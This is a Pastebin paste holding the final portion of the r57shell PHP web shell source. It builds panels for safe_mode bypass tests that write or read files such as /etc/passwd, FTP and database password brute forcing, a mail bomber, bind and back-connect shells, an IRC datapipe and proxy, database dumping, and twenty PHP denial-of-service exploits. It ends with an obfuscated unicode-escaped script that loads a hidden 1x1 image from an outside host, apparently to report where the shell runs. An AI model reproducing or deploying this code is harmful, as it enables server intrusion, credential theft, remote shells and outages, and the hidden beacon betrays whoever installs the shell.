  3027. echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test14_file1',96,(!empty($_POST['test14_file1'])?($_POST['test14_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
  3028. echo $te.'</div>'.$table_end1.$fe;  
  3029. }
  3030.  
  3031. if(($safe_mode || $open_basedir) && @function_exists('readfile') && @version_compare(@phpversion(),"5.2.2")<=0)
  3032. {
  3033. echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id29').$table_up2.div('id29').$ts;
  3034. echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test15_file2',96,(!empty($_POST['test15_file2'])?($_POST['test15_file2']):($dir."/shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15'));
  3035. echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test15_file1',96,(!empty($_POST['test15_file1'])?($_POST['test15_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
  3036. echo $te.'</div>'.$table_end1.$fe;  
  3037. }
  3038.  
  3039. if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.4")<=0)
  3040. {
  3041. echo $fs.$table_up1.div_title($lang[$language.'_text129'],'id16').$table_up2.div('id16').$ts;
  3042. echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test16_file',96,(!empty($_POST['test16_file'])?($_POST['test16_file']):($dir."/test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
  3043. echo $te.'</div>'.$table_end1.$fe;  
  3044. }
  3045.  
  3046. if(($safe_mode || $open_basedir) && @function_exists('symlink') && @version_compare(@phpversion(),"5.2.2")<=0)
  3047. {
  3048. echo $table_up1.div_title($lang[$language.'_text131'],'id17').$table_up2.div('id17').$ts;
  3049. echo "<tr><td valign=top width=70%>".$ts;
  3050. echo sr(20,"<b>".$lang[$language.'_text30'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
  3051. echo $te."</td><td valign=top width=30%>".$ts;
  3052. echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_2').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
  3053. echo $te."</td></tr>";
  3054. echo $te.'</div>'.$table_end1;  
  3055. }
  3056.  
  3057. if(($safe_mode || $open_basedir) && @function_exists('symlink') && @version_compare(@phpversion(),"5.2.2")<=0)
  3058. {
  3059. echo $table_up1.div_title($lang[$language.'_text132'],'id18').$table_up2.div('id18').$ts;
  3060. echo "<tr><td valign=top width=70%>".$ts;
  3061. echo sr(20,"<b>".$lang[$language.'_text4'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
  3062. echo $te."</td><td valign=top width=30%>".$ts;
  3063. echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_3').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
  3064. echo $te."</td></tr>";
  3065. echo $te.'</div>'.$table_end1;  
  3066. }
  3067.  
  3068.  
  3069. if((!@function_exists('ini_get')) || @ini_get('file_uploads')){
  3070. echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
  3071. echo $table_up1.div_title($lang[$language.'_text5'],'id30').$table_up2.div('id30').$ts;
  3072. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile0',85,''));
  3073. echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
  3074. echo $te.'</div>'.$table_end1.$fe;
  3075. }
  3076.  
  3077.  
  3078. if((!@function_exists('ini_get')) || @ini_get('file_uploads')){
  3079. echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
  3080. echo $table_up1.div_title('Multy '.$lang[$language.'_text5'],'id34').$table_up2.div('id34').$ts;
  3081. echo "<tr><td valign=top width=50%>".$ts;
  3082. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile1',35,''));
  3083. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile2',35,''));
  3084. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile3',35,''));
  3085. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile4',35,''));
  3086. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile5',35,''));
  3087. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile6',35,''));
  3088. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile7',35,''));
  3089. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile8',35,''));
  3090. echo $te."</td><td valign=top width=50%>".$ts;
  3091. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile9',35,''));
  3092. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile10',35,''));
  3093. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile11',35,''));
  3094. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile12',35,''));
  3095. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile13',35,''));
  3096. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile14',35,''));
  3097. echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile15',35,''));
  3098. echo sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
  3099. echo $te."</td></tr>";
  3100. echo $te.'</div>'.$table_end1.$fe;
  3101. }
  3102.  
  3103.  
  3104. $select='';
  3105. if((!@function_exists('ini_get')) || (@ini_get('allow_url_fopen') && @function_exists('fopen'))){$select = "<option value=\"fopen\">fopen</option>";}
  3106. if(!$safe_mode){
  3107.  if(which('wget')){$select .= "<option value=\"wget\">wget</option>";}
  3108.  if(which('fetch')){$select .= "<option value=\"fetch\">fetch</option>";}
  3109.  if(which('lynx')){$select .= "<option value=\"lynx\">lynx</option>";}
  3110.  if(which('links')){$select .= "<option value=\"links\">links</option>";}
  3111.  if(which('curl')){$select .= "<option value=\"curl\">curl</option>";}
  3112.  if(which('GET')){$select .= "<option value=\"GET\">GET</option>";}
  3113. }
  3114. if($select){
  3115.  echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id31').$table_up2.div('id31').$ts;
  3116.  echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\">".$select
  3117. ."</select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
  3118.  echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
  3119.  echo $te.'</div>'.$table_end1.$fe;
  3120. }
  3121.  
  3122. echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id32').$table_up2.div('id32').$ts;
  3123. echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
  3124. $arh = $lang[$language.'_text92'];
  3125. if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip';   }
  3126. if(@function_exists('gzencode'))   { $arh .= in('radio','compress',0,'gzip').' gzip'; }
  3127. if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
  3128. echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
  3129. echo $te.'</div>'.$table_end1.$fe;
  3130.  
  3131. if(@function_exists("ftp_connect")){
  3132. echo $table_up1.div_title($lang[$language.'_text93'],'id33').$table_up2.div('id33').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
  3133.  
  3134. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text94']."</div></b></font>";
  3135. echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir));
  3136. echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
  3137. echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
  3138. echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
  3139. echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',0,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root"))));
  3140. echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'/passw.dic'))));
  3141. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1']));
  3142.  
  3143. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  3144. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
  3145. echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
  3146. echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
  3147. echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
  3148. echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
  3149. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
  3150. echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
  3151. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
  3152.  
  3153. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  3154. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
  3155. echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
  3156. echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
  3157. echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com"))));
  3158. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
  3159. echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
  3160. echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
  3161. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
  3162.  
  3163. echo $te."</td>".$fe."</tr></div></table>";
  3164. }
  3165.  
  3166.  
  3167. if(@function_exists("mail")){
  3168. echo $table_up1.div_title($lang[$language.'_text102'],'id35').$table_up2.div('id35').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
  3169. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
  3170. echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
  3171. echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
  3172. echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
  3173. echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>');
  3174. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
  3175.  
  3176. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  3177. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
  3178. echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
  3179. echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
  3180. echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell"))));
  3181. echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',30,$dir));
  3182. echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
  3183. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
  3184.  
  3185. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  3186. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text139']."</div></b></font>";
  3187. echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_bomber').in('hidden','dir',0,$dir));
  3188. echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com"))));
  3189. echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
  3190. echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=1>'.(!empty($_POST['text'])?($_POST['text']):("flood text here")).'</textarea>');
  3191. echo sr(25,"<b>Flood".$arrow."</b>",in('int','mail_flood',5,(!empty($_POST['mail_flood'])?($_POST['mail_flood']):100)).ws(4)."<b>Size(kb)".$arrow."</b>".in('int','mail_size',5,(!empty($_POST['mail_size'])?($_POST['mail_size']):10)));
  3192. echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
  3193.  
  3194. echo $te."</td>".$fe."</tr></div></table>";
  3195. }
  3196.  
  3197.  
  3198. if($mysql_on||$mssql_on||$pg_on||$ora_on)
  3199. {
  3200. $select = '<select name=db>';
  3201. if($mysql_on) $select .= '<option>MySQL</option>';
  3202. if($mssql_on) $select .= '<option>MSSQL</option>';
  3203. if($pg_on)    $select .= '<option>PostgreSQL</option>';
  3204. if($ora_on)   $select .= '<option>Oracle</option>';
  3205. $select .= '</select>';
  3206.  
  3207. echo $table_up1.div_title($lang[$language.'_text82'],'id36').$table_up2.div('id36').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
  3208. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text134']."</div></b></font>";
  3209.  
  3210. echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_brute'));
  3211. echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
  3212. echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
  3213. echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
  3214. echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
  3215. echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
  3216. echo sr(35,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
  3217. echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'/passw.dic'))));
  3218. echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt1']));
  3219.  
  3220. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  3221. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
  3222.  
  3223. echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
  3224. echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
  3225. echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
  3226. echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',8,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
  3227. echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',17,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
  3228. echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
  3229.  
  3230. echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
  3231. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
  3232.  
  3233. echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
  3234. echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
  3235. echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
  3236. echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
  3237. echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
  3238. echo $te."<div align=center id='n'><textarea cols=30 rows=4 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSHOW TABLES;\nSELECT * FROM user;\nSELECT version();\nSELECT user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div>";
  3239.  
  3240. echo "</td>".$fe."</tr></div></table>";
  3241. }
  3242.  
  3243.  
  3244.  
  3245. if(!$safe_mode && $unix){
  3246. echo $table_up1.div_title($lang[$language.'_text81'],'id37').$table_up2.div('id37').$ts."<tr>".$fs."<td valign=top width=25%>".$ts;
  3247. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
  3248. echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',10,'11457'));
  3249. echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',10,'r57'));
  3250. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
  3251. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
  3252. echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
  3253. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
  3254. echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
  3255. echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457'));
  3256. echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
  3257. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
  3258. echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
  3259. echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
  3260. echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',10,'11457'));
  3261. echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',10,'irc.dalnet.ru'));
  3262. echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',10,'6667'));
  3263. echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
  3264. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
  3265. echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
  3266. echo "<font face=Verdana size=-2><b><div align=center id='n'>Proxy</div></b></font>";
  3267. echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','proxy_port',10,'31337'));
  3268. echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir));
  3269. echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
  3270. echo $te."</td>".$fe."</tr></div></table>";
  3271. }
  3272.  
  3273. echo $table_up1.div_title($lang[$language.'_text140'],'id38').$table_up2.div('id38').$ts."<tr><td valign=top width=50%>".$ts;
  3274. echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
  3275. echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive memory exhaustion').$fe);
  3276. echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit exhaustion in [ pack() ] function').$fe);
  3277. echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF in [ unserialize() ] function').$fe);
  3278. echo sr(10,"",$fs.in('hidden','cmd',0,'dos4').in('submit','submit',0,'Limit integer calculate (65535) in ZendEngine').$fe);
  3279. echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite [ dl() ] vulnerability').$fe);
  3280. echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE [ preg_match() ] exhaustion resources (PHP <5.2.1)').$fe);
  3281. echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Memory_limit exhaustion in [ str_repeat() ] function (PHP <4.4.5,5.2.1)').$fe);
  3282. echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache process killer').$fe);
  3283. echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload inodes from HD.I via [ tempnam() ] (PHP 4.4.2, 5.1.2)').$fe);
  3284. echo sr(10,"",$fs.in('hidden','cmd',0,'dos10').in('submit','submit',0,'BoF in [ wordwrap() ] function (PHP <4.4.2,5.1.2)').$fe);
  3285. echo $te."</td><td valign=top width=50%>".$ts;
  3286. echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
  3287. echo sr(10,"",$fs.in('hidden','cmd',0,'dos11').in('submit','submit',0,'BoF in [ array_fill() ] function (PHP <4.4.2,5.1.2)').$fe);
  3288. echo sr(10,"",$fs.in('hidden','cmd',0,'dos12').in('submit','submit',0,'BoF in [ substr_compare() ] function (PHP <4.4.2,5.1.2)').$fe);
  3289. echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Array Creation in [ unserialize() ] 64 bit function (PHP <5.2.1)').$fe);
  3290. echo sr(10,"",$fs.in('hidden','cmd',0,'dos14').in('submit','submit',0,'BoF in [ str_ireplace() ] function (PHP <5.2.x)').$fe);
  3291. echo sr(10,"",$fs.in('hidden','cmd',0,'dos15').in('submit','submit',0,'BoF in [ htmlentities() ] function (PHP <5.1.6,4.4.4)').$fe);
  3292. echo sr(10,"",$fs.in('hidden','cmd',0,'dos16').in('submit','submit',0,'Integer Overflow in [ zip_entry_read() ] function (PHP <4.4.5)').$fe);
  3293. echo sr(10,"",$fs.in('hidden','cmd',0,'dos17').in('submit','submit',0,'BoF in [ sqlite_udf_decode_binary() ] function (PHP <4.4.5,5.2.1)').$fe);
  3294. echo sr(10,"",$fs.in('hidden','cmd',0,'dos18').in('submit','submit',0,'Memory Allocation BoF in [ msg_receive() ] function (PHP <4.4.5,5.2.1)').$fe);
  3295. echo sr(10,"",$fs.in('hidden','cmd',0,'dos19').in('submit','submit',0,'Off By One in [ php_stream_filter_create() ] function (PHP 5<5.2.1)').$fe);
  3296. echo sr(10,"",$fs.in('hidden','cmd',0,'dos20').in('submit','submit',0,'Reference Counter Overflow in [ unserialize() ] function (PHP <4.4.4)').$fe);
  3297. echo $te."</td></tr></div></table>";
  3298.  
  3299. echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell | version ".$version." | <a href=http://alturks.com>alturks.com</a> | <a href=http://alturks.com>alturks.com</a> | <a href=http://www.alturks.com>KingDefacer</a> | Generation time: ".round(getmicrotime()-starttime,4)." ]---o</b></font></div></td></tr></table>";
  3300. echo '</body></html>';
  3301.  ?>
  3302.  <script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!